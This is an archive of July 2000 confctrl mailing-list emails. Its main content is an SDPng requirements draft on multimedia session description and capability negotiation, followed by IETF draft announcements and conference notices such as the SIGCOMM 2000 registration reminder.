Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id IAA24747
	for <confctrl@isi.edu>; Sun, 9 Jul 2000 08:47:31 -0700 (PDT)
Received: from plumps (ruin.informatik.uni-bremen.de [134.102.224.52])
	by bettina.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id e69FlQx07465
	for <confctrl@isi.edu>; Sun, 9 Jul 2000 17:47:28 +0200 (MET DST)
Message-Id: <200007091547.e69FlQx07465@bettina.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Sun, 09 Jul 2000 16:24:34 +0200
To: confctrl@ISI.EDU
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: SDPng: first shot at requirements
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id IAA25215
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

we have started talking about a sucessor to SDP for a while now.
We have received input from a variety of sources and have started
to draw up a small requirements document (at pre-I-D stage) that
hopefully collects most of the input which is attached below.
This document uses terminology and modeling from
draft-ott-mmusic-caps-00.txt submitted as I-D last summer.

We have also compiled a collection of input documents (which is
probably incomplete at the moment).  They can be found at

       http://www.dmn.tzi.org/ietf/mmusic/sdp-ng/

If you have additions to the documentation, please contact me
directly and I will add them to the web page.

We look forward to your comments.

Joerg

----------------------------------------------------------------------

Requirements for SDPng
======================

Dirk Kutscher, Jörg Ott, Carsten Bormann
{dku,jo,cabo}@tzi.uni-bremen.de

4 July 2000


1. Introduction

SDP allows to specify multimedia sessions (i.e. conferences, "session"
as used here is not to be confused with "RTP session"!)  by providing
general information about the session as a whole and specifications
for all the media streams (RTP sessions and others) to be used to
exchange information within the multimedia session.

  Note: Please keep in mind that whenever we use the terms
  "conference" or "interaction" this may as well apply to other types
  of multimedia communication, particularly including
  (RTSP-controlled) media streaming or broadcasting applications.

This separation into a session description and one or more media
descriptions needs to be preserved.

Currently, media descriptions in SDP are used for two purposes:

* to describe session parameters for announcements and invitations
  (the original purpose of SDP)

* to describe the capabilities of a system (and possibly povide a
  choice between a number of alternatives). Note that SDP was not
  designed to facilitate this.

A distincton between these two "sets of semantics" is only made
implictly.

A brief note on terminology (taken from draft-ott-mmusic-caps-00.txt):

* A multimedia session (or conference) consists of one or more
  conference components for multi media interaction.


* A component describes a particular type of interaction (e.g. audio
  conversation, slide presentation) that can be realized by means of
  different applications (possibly using different protocols).

* A configuration is a set of parameters that are required to
  implement a certain variation (realization) of a certain
  component. There are actual and potential configurations.

   - Potential configurations describe possible configurations that
     are supported by an end system

   - An actual configuration is an "instantiation" of one of the
     potential configurations, i.e. a decision how to realize a
     certain component.

  In less abstract words, potential configurations describe what a
  system can do ("capabilities") and actual configurations describe
  how a system is configured to operate at a certain point in time
  (media stream spec).

To decide on a certain actual configuration, a negotiation process
needs to take place between the involved peers

(a) to determine which potential configuration(s) they have in common.

(b) Out of this shared set of common potential configurations the
    peers need to select one or more to be used for information exchange
    (e.g. based upon preferences, external constraints, etc.).

In SAP-based session announcements on the Mbone, for which SDP was
originally developed, the negotiation procedure is non-existent.
Instead, the announcement contains the media stream description sent
out (i.e. the actual configurations) which implicitly describe what a
receiver must understand to participate.

In point-to-point scenarios, the negotiation procedure is typically
carried out implicitly: each party informs the other about what it can
receive and the respective sender chooses from this set a
configuration that it can transmit.

Capability negotiation must not only work for 2-party conferences but
is also required for multi-party conferences. Especially for the
latter case it is required that the process of determining the subset
of allowable potential configurations is deterministic to reduce the
number of required round trips before a session can be established.

In the following, we elaborate on requirements for an SDPng
specification, subdivided into general requirements and requirements
for session descriptions, potential and actual configurations as well
as negotiation rules.

2. General Requirements

A couple of trivial ones first (just for warming up :-)

2.1 Simplicity

    The SDPng syntax shall be simple to parse and the protocol rules
    shall be easy to implement.

2.2 Extensibility

    SDPng shall be extensible in a backward compatible fashion.
    Extensions should be doable without modifying the SDPng
    specification itself.  The spec should preclude two independent
    extensions from clashing with each other (e.g. in the naming of
    attributes).

2.3 Firewall Friendliness
    
    It should be theoretically possible for firewalls (and other
    network infrastructure elements) to process announcements
    etc. that contain SDng content. The concrete procedures have to be
    defined but if possible the processing of the SDPng content should
    be doable without interpretation of the textual descriptions.

    Firewall friendliness should not be harmed when extending the
    SDPng specification later on..

2.4 Security

    SDPng should allow independent security attributes for parts of
    a session description.  In particular, signing and/or encrypting
    parts of a session description should be supported.


2.5 Text encoding

    A concise text representation is desirable.

    A syntax should be used that allows parsing and skipping unknown
    pieces of an SDPng message.

2.6 Mapping (of a Subset) to SDP

    It shall be possible to translate a subset of SDPng into standard
    SDP session description to enable a certain minimal degree of
    interoperability between SDP-based and SDPng-based systems.
    However, as SDPng will provide enhanced functionality compared to
    SDP, a full mapping to SDP is not possible.

    It is unclear at the moment whether syntactic backward
    compatibility to SDP as per RFC 2327 is a must.  Clearly, this is
    desirable but may not need to be achieved at all cost.

    Since several flavors of SDP have been developd (e.g., the MEGACO
    WG uses certain non-SDP enhancements) it needs to be discussed which
    of these flavors need to be considered for some kind of mapping.

3. Session Description Requirements

   For now, we only consider requirements for media (stream)
   desciptions.

3.1 Media Description

    It must be possible to express the following information with SDPng:

3.1.1 Medium Type

      Payload types and format paramters for audio and video are
      well-defined and the basic semantics are clear (as defined in
      RFC1889 and RFC2327).

      Format description for text and whiteboard are currently only
      defined in the context of specific applications, this is
      probably going to change in the future (not an SDPng work item).
     
      Non-standard (in terms of defined as a non-standard payload
      type) codecs and format parameters can be accomplished by using
      dynamic payload type mappings. This is a crucial feature of SDP
      that needs to be preserved for the sake of interopability with
      RTP-applications.
     
      Current SDP only provides a= (a=fmtp) as means to specify codec
      parameters but actually gives little support on how to do this.
      Schemes for expressing more sophisticated parameters
      (e.g. supporting nesting) may be necessary.  Nevertheless, it is
      imperative to keep the overall structure of a codec description
      manageable.

      Note that there is a conflict between the desire to be able to
      use any old SDP and translate it in SDPng and the desire to have
      a more powerful structure in the SDPng data.

3.1.2 Media Stream Packetization

      SDPng need to be able to take care of more sophisticated payload
      descriptions than simple payload type assignment.  Audio/video
      redundancy coding schemes need to be supported as need other
      mechanisms e.g. for FEC (RFC 2733) and media stream repair (RFC
      2354).  Also, layered coding schemes need to be supported.

      Finally, a separation of the media encoding scheme, the
      packetization format, and possible repair schemes (and their
      respective parameters) is required.

3.1.3 Transport
      
      Since session descriptions are not only used to describe
      sessions that use IPv4/RTP for media transport it must be
      possible to specify different transport protocols (and their
      corresponding mandatory parameters).  This means SDPng must
      support different address formats (IPv4, IPv6, E.164, NSAP, ...)
      and different transport protocol stacks (RTP/UDP/IP,
      RTP/AAL5/ATM, ...).
      
      Additionally the requirement for expressing multiple addresses
      per actual configuration (layered coding support) has emerged,

      as well as the requirement for expressing multiple addresses per
      potential configuration (one port per payload type to simplify
      processing at the receiver). (A motivation has been provided by
      draft-camarillo-sip-sdp-00.txt.)
      
      In multi-unicast-scenarios it must be possible to specify more
      than one transport address for a single media stream in an
      actual configuration, i.e. by specifying address lists.

      In "broadcast"- or "lecture"-like sessions source filters might
      be needed that allow receivers to verify the source and apply
      filters in multicast sessions.

3.1.4 QoS
      
      QoS-Parameters for different protocol domains (e.g. traffic
      specification and flow specification or TOS bits for IP QoS)
      need to be specified.  draft-ietf-mmusic-sdp-qos-00.txt has
      provided a proposal for a syntax that can be used with SDP to
      describe network and security preconditions that have to be met
      in order to establish a session.

3.1.5 Other parameters (media-specific)

      Extension mechanisms that allow to describe arbitrary other
      parameters of media codecs and formats are mandatory. It is
      possibly required to distinguish between mandatory and optional
      extension parameters.

      In particular, it must be possible to introduce new (optional)
      parameters for a payload format and have old implementations
      still parse the parameters correctly.

3.1.6 Naming Hierarchy and/or Scoping

      Parameter names should be constructed in a way to that helps to
      avoid clashes and thereby simplify independent development of
      e.g. codec parameter descriptions in different groups.

4. Requirements for Capability Description and Negotiation

4.1 Capability Constraints

    Capability negotiation is used to gain a session description (a
    actual configuration) that is compatible with the different end
    system capabilities and user preferences of the potential
    participants of a conference. 

    A media capability description is the same as a potential
    configuration, as it contains a set of allowable configurations
    for different components that could be used to implement the
    corresponding component. A capability description should allow
    specifying a number of interdependencies among capabilities.
    Traditional SDP only supports alternative capabilities and the
    specification implicitly assumed that all capabilities could be
    combined and basically used at the same time (looking at the pure
    session description, at least).

    Processing power, hardware, link, or other resources may preclude
    the simultaneous use of certain configurations and/or limit the
    number of simultaneous instantiations of one or more
    configurations.  This has led to a need to express in more detail
    constraints on combinations of configurations including the
    following:

    - grouping capabilities (-> capability set);
    - expressing simultenous capability sets;
    - expressing alternative capability sets; and
    - constraining the number of uses of a certain capability (set).

    It needs to be carefully investigated how much more sophistication
    (if any) than simply listing alternatives needs to go into a base
    specification of SDPng (and which extension mechanisms for certain
    applications or for future revisions should be allowed).

    Examples are known where complex capability descriptions are
    available but are simply not used (at least not at the level of
    sophistication that would be possbile).  This strongly calls for
    keeping requirements on capability constraints rather modest
    (KISS).

4.2 Processing Rules
      
    The processing (i.e. collapsing, forwarding etc.) of different
    potential configurations in order to find a compatible subset must
    work without having to know the semantics of the individual
    parameters. This is a key requirement for extensibility.

    Additionally it must be possible to make use of different
    negotiation policies in order to reflect different conference
    types. For example in a lecture-style conference it must be
    ensured that a capability collapsing process does not yield an
    actual configuration that excludes the main source (i.e. the
    lecturer and her end system) from the conference.

    Of course, the negotiation of configurations must not only work in
    peer-to-peer-conference scenarios but also be usable in multi
    party scenarios.

    In order to allow for concise capability specification it will
    probably be required to group descriptions of, say, codecs and to
    establish a kind of hierarchy that allows to attach a certain
    attribute or parameter to a whole group of codecs.

    It might then also be required to have a naming scheme that allows
    to name definitions in order to be able to later reference them in
    subsequent definitions. This is useful in situations where some
    definition extends a previous definition by just one parameter or
    in situations where codecs are combined, for example for
    expressing redundancy or layered codings. Different models of
    re-use are conceivable.

5  Remarks
   
   Explicitely addressing the issue of capability negotiation when
   drafting the new session description language generates new sets of
   requirements, some of which might conflict with other important
   goals, such as simplicity, conciseness and SDP-compatibility.

   However, we think that it's worthwile to sketch a complete and
   powerful solution first and then later develop a migration path
   from today's technology instead of imposing limits at the outset to
   minimize the possibly necessary changes.



----------------------------------------------------------------------

 


From confctrl-owner  Mon Jul 10 17:00:46 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id RAA00275
	for confctrl-outgoing; Mon, 10 Jul 2000 17:00:46 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA00269
	for <confctrl@zephyr.isi.edu>; Mon, 10 Jul 2000 17:00:44 -0700 (PDT)
Received: from farley.cisco.com (farley.cisco.com [171.71.153.30])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id RAA25406
	for <confctrl@isi.edu>; Mon, 10 Jul 2000 17:01:35 -0700 (PDT)
Received: from rkumar-ntl (dhcp-71-29-169.cisco.com [171.71.29.169])
	by farley.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id RAA27625;
	Mon, 10 Jul 2000 17:01:02 -0700 (PDT)
Message-Id: <4.1.20000710170057.00dad420@wanbu-mail.cisco.com>
X-Sender: rkumar@wanbu-mail.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
Date: Mon, 10 Jul 2000 17:05:40 -0700
To: "Rosen, Brian" <brosen@fore.com>, confctrl@ISI.EDU, mjh@aciri.org,
        jo@tzi.uni-bremen.de, atmsdp@eng.fore.com, msf-media@msforum.org,
        ISC_members@inventures.com
From: Rajesh Kumar <rkumar@cisco.com>
Subject: Internet Draft to be used for Pittsburgh IETF discussions on
  ATM SDP
Cc: mmostafa@cisco.com, hisham@cisco.com, ifhussai@cisco.com,
        rbiskner@cisco.com, joestone@cisco.com, gregh@cisco.com,
        skaria@cisco.com, rthiruma@cisco.com, bensonl@cisco.com
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_24290527==_.ALT"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--=====================_24290527==_.ALT
Content-Type: text/plain; charset="us-ascii"


http://search.ietf.org/internet-drafts/draft-rajeshkumar-mmusic-sdp-atm-02.txt

Please note that the document on the IETF site is the latest, even though I had
circulated earlier drafts with numbers 02, 03 and 04 (due to my not knowing
this IETF numbering convention). 

Thank you very much.

Rajesh Kumar

^^^^^^^^^^^^^^^^^^^^^
Rajesh Kumar, Ph.D.
Technical Leader        
Carrier Packet Voice
Cisco Systems
San Jose, California
^^^^^^^^^^^^^^^^^^^^^
rkumar@cisco.com                 
408 527 0811                
^^^^^^^^^^^^^^^^^^^^^
 

--=====================_24290527==_.ALT
Content-Type: text/html; charset="us-ascii"

<html><div><a href="http://search.ietf.org/internet-drafts/draft-rajeshkumar-mmusic-sdp-atm-02.txt" EUDORA=AUTOURL>http://search.ietf.org/internet-drafts/draft-rajeshkumar-mmusic-sdp-atm-02.txt</a></div>
<br>
Please note that the document on the IETF site is the latest, even though
I had circulated earlier drafts with numbers 02, 03 and 04 (due to my not
knowing this IETF numbering convention).
<br>

<br>
<font size=2>Thank you very much.<br>
<br>
Rajesh Kumar<br>
<br>
</font><font size=2 color="#800000">^^^^^^^^^^^^^^^^^^^^^<br>
<b>Rajesh Kumar, Ph.D.<br>
</b>Technical Leader&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>
Carrier Packet Voice<br>
Cisco Systems<br>
San Jose, California<br>
^^^^^^^^^^^^^^^^^^^^^<br>
rkumar@cisco.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
408 527
0811<x-tab>&nbsp;&nbsp;&nbsp;&nbsp;</x-tab>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<br>
^^^^^^^^^^^^^^^^^^^^^<br>
</font><font face="Garamond" color="#800000"><i>&nbsp;<br>
</font></i></html>

--=====================_24290527==_.ALT--


From confctrl-owner  Fri Jul 14 08:20:45 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA23928
	for confctrl-outgoing; Fri, 14 Jul 2000 08:20:45 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA23922
	for <confctrl@zephyr.isi.edu>; Fri, 14 Jul 2000 08:20:44 -0700 (PDT)
Received: from postman.ncube.com (postman.ncube.com [134.242.8.47])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id IAA27210
	for <confctrl@ISI.EDU>; Fri, 14 Jul 2000 08:21:34 -0700 (PDT)
Received: from db1.ncube.com (db1 [134.242.64.1])
	by postman.ncube.com (8.9.0/8.9.0) with SMTP id IAA10225
	for <confctrl@ISI.EDU>; Fri, 14 Jul 2000 08:21:35 -0700 (PDT)
Received: from ncube.com by db1.ncube.com (SMI-8.6/SMI-SVR4)
	id IAA25291; Fri, 14 Jul 2000 08:28:55 -0700
Message-ID: <396F2FFC.980C11A1@ncube.com>
Date: Fri, 14 Jul 2000 08:21:32 -0700
From: Sean Sheedy <seans@ncube.com>
Organization: nCUBE
X-Mailer: Mozilla 4.73 [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: RTSP Extensions Draft Updated - draft-sheedy-mmusic-rtsp-ext-01.txt
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I've updated the RTSP Extensions draft I presented at the last IETF
meeting to reflect the comments I received.  It's available on the IETF
web site at:

http://www.ietf.org/internet-drafts/draft-sheedy-mmusic-rtsp-ext-01.txt

Changes include:
  - New ATM address syntax to match that in the proposed SDP
    extensions described in draft-rajeshkumar-mmusic-sdp-atm-02.txt.
  - Tightening up restrictions on changing presentation URI's and
    using wildcard URI's.
  - Miscellaneous syntax cleanup.

I would like to propose that these extensions (along with the SDP ATM
extensions) be adopted as a formal work item for the group.

Sean Sheedy

-- 
Sean Sheedy                                         seans@ncube.com
(503) 531-6427

From confctrl-owner  Tue Jul 18 02:02:34 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA21924
	for confctrl-outgoing; Tue, 18 Jul 2000 02:02:34 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA21919
	for <confctrl@zephyr.isi.edu>; Tue, 18 Jul 2000 02:02:33 -0700 (PDT)
Received: from smtp1.cluster.oleane.net (smtp1.cluster.oleane.net [195.25.12.16])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id CAA04704
	for <confctrl@isi.edu>; Tue, 18 Jul 2000 02:03:21 -0700 (PDT)
Received: from oleane  (dyn-1-1-161.Vin.dialup.oleane.fr [195.25.4.161])  by smtp1.cluster.oleane.net  with SMTP id LAA02776; Tue, 18 Jul 2000 11:02:23 +0200 (CEST)
Message-ID: <013401bff097$20cd0be0$0401a8c0@oleane.com>
From: "mg263-8" <peter.lewis@upperside.fr>
To: <Undisclosed-Recipient:@smtp1.cluster.oleane.net;>
Subject: Implementing H.323
Date: Tue, 18 Jul 2000 11:04:02 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0131_01BFF0A7.E194E720"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0131_01BFF0A7.E194E720
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

"Implementing H.323": the VoIP deployment scenario
International conference, Paris, 10-13 October
http://www.upperside.fr/bah323.htm

=20

------=_NextPart_000_0131_01BFF0A7.E194E720
Content-Type: text/html;
	charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>"Implementing H.323": the VoIP =
deployment scenario
<DIV><FONT size=3D2>International conference, Paris, 10-13 =
October</FONT></DIV>
<DIV><FONT size=3D2><A=20
href=3D"http://www.upperside.fr/bah323.htm">http://www.upperside.fr/bah32=
3.htm</A></FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT size=3D2></FONT>&nbsp;</FONT></DIV></DIV></BODY></HTML>

------=_NextPart_000_0131_01BFF0A7.E194E720--


From confctrl-owner  Tue Jul 18 14:39:32 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id OAA28170
	for confctrl-outgoing; Tue, 18 Jul 2000 14:39:32 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA28161
	for <confctrl@zephyr.isi.edu>; Tue, 18 Jul 2000 14:39:30 -0700 (PDT)
Received: from rum.isi.edu (rum.isi.edu [128.9.160.237])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA17785
	for <confctrl@isi.edu>; Tue, 18 Jul 2000 14:40:26 -0700 (PDT)
From: Joe Touch <touch@ISI.EDU>
Received: (from touch@localhost)
	by rum.isi.edu (8.9.3/8.8.6) id OAA06628
	for confctrl@isi.edu; Tue, 18 Jul 2000 14:40:26 -0700 (PDT)
Date: Tue, 18 Jul 2000 14:40:26 -0700 (PDT)
Message-Id: <200007182140.OAA06628@rum.isi.edu>
To: confctrl@ISI.EDU
Subject: REMINDER - Sigcomm 2000 Early Registration deadline approaching
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

REMINDER: The deadline for early registration is fast approaching.
Please see the website below for further information.

---------------------------------------------------------------

			   Call for Papers
		     ACM SIGCOMM 2000 Conference

		    August 28 - September 1, 2000
		    Grand Hotel, Stockholm, Sweden
		http://www.acm.org/sigcomm/sigcomm2000
		       sigcomm2000-info@acm.org

>>  Early registration deadline:                July 28, 2000

SIGCOMM 2000 is the annual conference of the Special Interest Group on
Data Communication (SIGCOMM), a single-track, highly selective
conference with a technical program of 26 papers, tutorials by noted
instructors on the two days prior, and a work-in-progress poster
session and a social session on outrageous opinions.  All papers are
currently available at the conference at the conference website. The
SIGCOMM 2000 Award is being given to Prof. André Danthine, University
of Liege, Belgium, who will also provide the keynote address.

Registration

Early registration for SIGCOMM 2000 is open through July 28, 2000.
The conference and hotel registration is handled by the Stockholm
Convention Bureau (for instructions on registration, see website
above). Note that the number of delegates is limited to 500 and that
registration requests will be handled on a "first-come-first-served"
basis.  On-line, secure registration is available at the SIGCOMM
website. Please refer also to the web form or paper form for various
rates and options.

Stockholm, Opening Reception and Dinner events

Stockholm - the Royal capital of Sweden - is one of the most beautiful
cities in the world. It is built on fourteen islands and surrounded by
waters so clean that you can fish and swim in the middle of the city.

The reception is generously hosted by Stockholm City, and includes a
sightseeing cruise on the water ways of Stockholm, through the Old Town
to the City Hall, famous for the Nobel Prize festivities. The banquet
dinner is hosted at the Vasa Museum, site of the Sweden's largest and
most prestigious warship.

General Co-Chairs
	Per Gunningberg, Uppsala U., Sweden (perg@docs.uu.se)
	Steve Pink, Lulea U. Tech., Sweden (steve@cdt.luth.se)
Program Co-Chairs
	Christophe Diot, Sprint ATL, USA (cdiot@sprintlabs.com)
	Jim Kurose, U. Massachusetts, USA (kurose@cs.umass.edu)
Publicity Chair
	Joe Touch, USC/ISI, USA (touch@isi.edu)
Tutorials Chair
	Steve Pink, Lulea U Tech., Sweden (steve@cdt.luth.se)

From confctrl-owner  Tue Jul 18 19:24:10 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA22188
	for confctrl-outgoing; Tue, 18 Jul 2000 19:24:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA22182
	for <confctrl@zephyr.isi.edu>; Tue, 18 Jul 2000 19:24:09 -0700 (PDT)
Received: from rum.isi.edu (rum.isi.edu [128.9.160.237])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA21216
	for <confctrl@isi.edu>; Tue, 18 Jul 2000 19:25:05 -0700 (PDT)
From: Joe Touch <touch@ISI.EDU>
Received: (from touch@localhost)
	by rum.isi.edu (8.9.3/8.8.6) id TAA08275
	for confctrl@isi.edu; Tue, 18 Jul 2000 19:25:04 -0700 (PDT)
Date: Tue, 18 Jul 2000 19:25:04 -0700 (PDT)
Message-Id: <200007190225.TAA08275@rum.isi.edu>
To: confctrl@ISI.EDU
Subject: REMINDER - Sigcomm 2000 Early Registration deadline approaching
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

REMINDER: The deadline for early registration is fast approaching.
Please see the website below for further information.

---------------------------------------------------------------

			Call for Participation
		     ACM SIGCOMM 2000 Conference

		    August 28 - September 1, 2000
		    Grand Hotel, Stockholm, Sweden
		http://www.acm.org/sigcomm/sigcomm2000
		       sigcomm2000-info@acm.org

>>  Early registration deadline:                July 28, 2000

SIGCOMM 2000 is the annual conference of the Special Interest Group on
Data Communication (SIGCOMM), a single-track, highly selective
conference with a technical program of 26 papers, tutorials by noted
instructors on the two days prior, and a work-in-progress poster
session and a social session on outrageous opinions.  All papers are
currently available at the conference at the conference website. The
SIGCOMM 2000 Award is being given to Prof. André Danthine, University
of Liege, Belgium, who will also provide the keynote address.

Registration

Early registration for SIGCOMM 2000 is open through July 28, 2000.
The conference and hotel registration is handled by the Stockholm
Convention Bureau (for instructions on registration, see website
above). Note that the number of delegates is limited to 500 and that
registration requests will be handled on a "first-come-first-served"
basis.  On-line, secure registration is available at the SIGCOMM
website. Please refer also to the web form or paper form for various
rates and options.

Stockholm, Opening Reception and Dinner events

Stockholm - the Royal capital of Sweden - is one of the most beautiful
cities in the world. It is built on fourteen islands and surrounded by
waters so clean that you can fish and swim in the middle of the city.

The reception is generously hosted by Stockholm City, and includes a
sightseeing cruise on the water ways of Stockholm, through the Old Town
to the City Hall, famous for the Nobel Prize festivities. The banquet
dinner is hosted at the Vasa Museum, site of the Sweden's largest and
most prestigious warship.

General Co-Chairs
	Per Gunningberg, Uppsala U., Sweden (perg@docs.uu.se)
	Steve Pink, Lulea U. Tech., Sweden (steve@cdt.luth.se)
Program Co-Chairs
	Christophe Diot, Sprint ATL, USA (cdiot@sprintlabs.com)
	Jim Kurose, U. Massachusetts, USA (kurose@cs.umass.edu)
Publicity Chair
	Joe Touch, USC/ISI, USA (touch@isi.edu)
Tutorials Chair
	Steve Pink, Lulea U Tech., Sweden (steve@cdt.luth.se)

From confctrl-owner  Wed Jul 19 00:56:18 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA18713
	for confctrl-outgoing; Wed, 19 Jul 2000 00:56:18 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA18708
	for <confctrl@zephyr.isi.edu>; Wed, 19 Jul 2000 00:56:17 -0700 (PDT)
Received: from relay1.alcatel.be (alc119.alcatel.be [195.207.101.119])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id AAA12116
	for <confctrl@ISI.EDU>; Wed, 19 Jul 2000 00:57:05 -0700 (PDT)
Received: from btmq9s.rc.bel.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id e6J7tqv06595;
	Wed, 19 Jul 2000 09:55:53 +0200 (MET DST)
Received: from alcatel.be (bt00rd [138.203.66.122])
	by btmq9s.rc.bel.alcatel.be (8.8.8+Sun/8.8.8/1.1) with ESMTP id JAA19715;
	Wed, 19 Jul 2000 09:55:28 +0200 (MET DST)
Message-ID: <39755D46.6272642C@alcatel.be>
Date: Wed, 19 Jul 2000 09:48:22 +0200
From: Bart Van Doorselaer <Bart.Van_Doorselaer@alcatel.be>
Organization: Alcatel
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "xcast@public.alcatel.com" <xcast@public.alcatel.com>,
        sip <sip@lists.bell-labs.com>, confctrl <confctrl@ISI.EDU>
Subject: FYI: ID on sip-xcast
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The official announcement has not yet come through (or at least I did
not
see it yet), but following draft is already available:

http://www.ietf.org/internet-drafts/draft-van-doorselaer-sip-xcast-00.txt

"SIP for the establishment of xcast-based multiparty conferences",
Dirk Ooms, Bart Van Doorselaer, 07/18/2000. (41589 bytes)

Explicit Multicast (xcast) is a multicast scheme that uses an explicit
list
of destinations instead of one logical multicast address. Explicit
Multicast
complements the existing multicast schemes in that it can efficiently
support
very large numbers of distinct (small) multicast groups and thus can
play an
important role in making multicast practical for applications such as
multiparty IP telephony, various conferencing & collaborative
applications,
multiparty networked games, etc... This document explains how multiparty
IP
telephony conferences making use of xcast can be established by SIP
carrying
SDP. Some open issues will be identified and discussed. Possible
extensions
to SIP and SDP to streamline the use of xcast will be suggested as well.


Cheers,


Bart

-- 
                                              ____________________
Bart Van Doorselaer                           \                  /
_______________________________________________\                /____
                                                \              /
Research Engineer                                \  ALCATEL   /
DN2                                          Network Strategy Group
Tel   : +32 3 240 86 41                      Francis Wellesplein  1
Fax   : +32 3 240 99 32                     B-2018 Antwerpen Belgium
_____________________________________________________\    /__________
mailto:Bart.Van_Doorselaer@alcatel.be                 \  /
                                                       \/

From confctrl-owner  Wed Jul 19 03:34:19 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA25447
	for confctrl-outgoing; Wed, 19 Jul 2000 03:34:19 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA25440
	for <confctrl@zephyr.isi.edu>; Wed, 19 Jul 2000 03:34:16 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by venera.isi.edu (8.9.3/8.9.3) with ESMTP id DAA16517
	for <confctrl@isi.edu>; Wed, 19 Jul 2000 03:35:05 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA21311;
	Wed, 19 Jul 2000 06:35:12 -0400 (EDT)
Message-Id: <200007191035.GAA21311@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-mbus-transport-02.txt
